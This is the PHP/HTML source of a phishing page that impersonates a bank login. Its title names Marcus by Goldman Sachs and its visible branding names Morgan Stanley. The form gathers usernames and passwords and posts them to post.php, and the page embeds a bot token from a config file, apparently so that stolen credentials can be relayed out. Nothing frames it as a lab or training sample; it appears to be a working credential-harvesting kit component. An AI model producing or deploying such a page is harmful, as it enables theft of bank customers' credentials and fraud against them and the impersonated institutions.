<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Marcus by Goldman Sachs — Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:     #1a2e4a;
            --navy-mid: #223756;
            --blue:     #1565c0;
            --blue-dk:  #0d47a1;
            --blue-lt:  #1e88e5;
            --text:     #1a1a1a;
            --text-sub: #666;
            --border:   #e0e0e0;
            --bg:       #ebebeb;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--bg); }

        /* ── NAV ─────────────────────────────────────── */
        .main-nav {
            background: var(--bg);
            padding: 0 48px;
            height: 72px;
            display: flex; align-items: center; justify-content: space-between;
            position: relative; z-index: 300;
        }
        .nav-logo {
            font-size: 22px; font-weight: 400; color: var(--text);
            letter-spacing: -.02em; font-family: 'Inter', sans-serif;
        }
        .nav-logo img { height: 32px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 32px; }
        .nav-links a {
            font-size: 12px; font-weight: 700; color: var(--navy);
            text-decoration: none; letter-spacing: .08em; text-transform: uppercase;
            transition: opacity .15s;
        }
        .nav-links a:hover { opacity: .7; }
        .nav-right { display: flex; align-items: center; gap: 20px; }
        .btn-login-nav {
            display: flex; align-items: center; gap: 7px;
            font-size: 14.5px; font-weight: 400; color: var(--text);
            background: none; border: none; cursor: pointer;
            font-family: 'Inter', sans-serif; padding: 8px 4px;
        }
        .btn-login-nav:hover { color: var(--blue); }

        /* ── MAIN CONTENT ───────────────────────────── */
        .main-content {
            flex: 1; display: flex; align-items: center; justify-content: center;
            padding: 40px 48px;
        }
        /* Split panel: login card left, photo right */
        .split-panel {
            display: flex; align-items: stretch;
            width: 100%; max-width: 960px;
            background: var(--white);
            border-radius: 4px;
            overflow: hidden;
            box-shadow: 0 2px 16px rgba(0,0,0,.1);
        }

        /* Login card */
        .login-card {
            width: 320px; flex-shrink: 0;
            padding: 40px 36px 36px;
            display: flex; flex-direction: column;
            background: var(--white);
        }
        .lc-title {
            font-size: 22px; font-weight: 400; color: var(--text);
            margin-bottom: 28px; line-height: 1.25;
        }
        .lf { margin-bottom: 0; }
        .lf input {
            width: 100%; height: 46px; padding: 0 12px;
            border: none; border-bottom: 1px solid var(--border);
            font-family: 'Inter', sans-serif; font-size: 15px; color: var(--text);
            background: transparent; outline: none;
            transition: border-color .15s; -webkit-appearance: none;
        }
        .lf input::placeholder { color: #aab; }
        .lf input:focus { border-color: var(--blue); }
        .lf-pw { position: relative; }
        .lf-pw input { padding-right: 60px; }
        .show-pw {
            position: absolute; right: 0; top: 50%; transform: translateY(-50%);
            background: none; border: none; cursor: pointer;
            font-size: 13px; font-weight: 600; color: var(--blue);
            font-family: 'Inter', sans-serif;
        }
        .remember-row {
            display: flex; align-items: center; gap: 8px;
            margin: 18px 0 22px;
        }
        .remember-row input[type=checkbox] { accent-color: var(--blue); width: 15px; height: 15px; cursor: pointer; }
        .remember-row label { font-size: 13.5px; color: var(--blue); cursor: pointer; }

        .btn-login {
            width: 100%; height: 46px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 24px;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 500;
            cursor: pointer; margin-bottom: 14px;
            transition: background .15s;
        }
        .btn-login:hover { background: var(--blue-dk); }
        .btn-create {
            display: block; text-align: center;
            font-size: 14px; color: var(--blue); text-decoration: none;
            margin-bottom: 32px;
        }
        .btn-create:hover { text-decoration: underline; }
        .lc-divider { height: 1px; background: var(--border); margin-bottom: 18px; }
        .lc-bottom-links { display: flex; gap: 20px; }
        .lc-bottom-links a { font-size: 13px; color: var(--blue); text-decoration: none; }
        .lc-bottom-links a:hover { text-decoration: underline; }

        /* Photo + promo right side */
        .promo-panel {
            flex: 1; position: relative; overflow: hidden; min-height: 420px;
        }
        .promo-panel img.bg {
            position: absolute; inset: 0;
            width: 100%; height: 100%;
            object-fit: cover; object-position: center;
        }
        .promo-box {
            position: absolute; bottom: 0; right: 0;
            width: 58%; background: var(--blue);
            padding: 28px 26px;
        }
        .promo-box h3 {
            font-size: 22px; font-weight: 400; color: #fff;
            margin-bottom: 10px; line-height: 1.3;
        }
        .promo-box p { font-size: 13px; color: rgba(255,255,255,.85); margin-bottom: 18px; line-height: 1.55; }
        .btn-learn {
            display: inline-block; padding: 9px 22px;
            border: 1.5px solid rgba(255,255,255,.7); border-radius: 24px;
            color: #fff; font-size: 13.5px; font-weight: 500;
            text-decoration: none; transition: background .15s;
        }
        .btn-learn:hover { background: rgba(255,255,255,.15); }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer {
            background: var(--navy); padding: 36px 48px;
            display: grid; grid-template-columns: 1fr 1fr 1fr;
            gap: 32px;
        }
        .footer-col h4 {
            font-size: 11px; font-weight: 700; color: #fff;
            letter-spacing: .1em; text-transform: uppercase; margin-bottom: 14px;
        }
        .footer-col a { display: block; font-size: 13px; color: rgba(255,255,255,.6); text-decoration: none; margin-bottom: 8px; }
        .footer-col a:hover { color: #fff; }

        @media(max-width:900px) { .nav-links{display:none;} .main-nav{padding:0 20px;} .main-content{padding:24px 20px;} .split-panel{flex-direction:column;} .promo-panel{min-height:260px;} .login-card{width:100%;} }
        @media(max-width:500px) { .login-card{padding:28px 22px 28px;} }
    </style>
</head>
<body>

    <!-- Nav -->
    <nav class="main-nav">
        <div class="nav-logo">Morgan Stanley</div>
        <div class="nav-links">
            <a href="#">Online Security Center</a>
            <a href="#">Find an Advisor / Branch</a>
            <a href="#">Help + Support</a>
        </div>
    </nav>

    <!-- Main content -->
    <div class="main-content">
        <div class="split-panel">
            <!-- Login Card -->
            <div class="login-card">
                <div class="lc-title">Log in to Morgan Stanley</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="lf"><input type="text" name="user" placeholder="Username" required autocomplete="username"></div>
                    <div class="lf lf-pw">
                        <input type="password" name="pass" id="ms-pass" placeholder="Password" required autocomplete="current-password">
                        <button type="button" class="show-pw" onclick="togglePw()">Show</button>
                    </div>
                    <div class="remember-row">
                        <input type="checkbox" id="remember" name="remember">
                        <label for="remember">Remember my username</label>
                    </div>
                    <button type="submit" class="btn-login">Log in</button>
                    <a href="#" class="btn-create">Create a username</a>
                    <div class="lc-divider"></div>
                    <div class="lc-bottom-links">
                        <a href="#">Forgot username?</a>
                        <a href="#">Forgot password?</a>
                    </div>
                </form>
            </div>
            <!-- Photo + promo -->
            <div class="promo-panel">
                <img class="bg" src="res/img/background.png" alt="Morgan Stanley">
                <div class="promo-box">
                    <h3>Fresh Start. Fresh Plan.</h3>
                    <p>Don't start the new year without considering tax-aware investing strategies.</p>
                    <a href="#" class="btn-learn">Learn more</a>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-col">
            <h4>Need Help?</h4>
            <a href="#">Help + Support</a>
        </div>
        <div class="footer-col">
            <h4>Legal</h4>
            <a href="#">Online Security</a>
            <a href="#">Research Disclosures</a>
        </div>
        <div class="footer-col">
            <h4>Privacy</h4>
            <a href="#">US Privacy Policy</a>
        </div>
    </footer>

    <script>
        function togglePw(){var p=document.getElementById('ms-pass');p.type=p.type==='password'?'text':'password';}
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>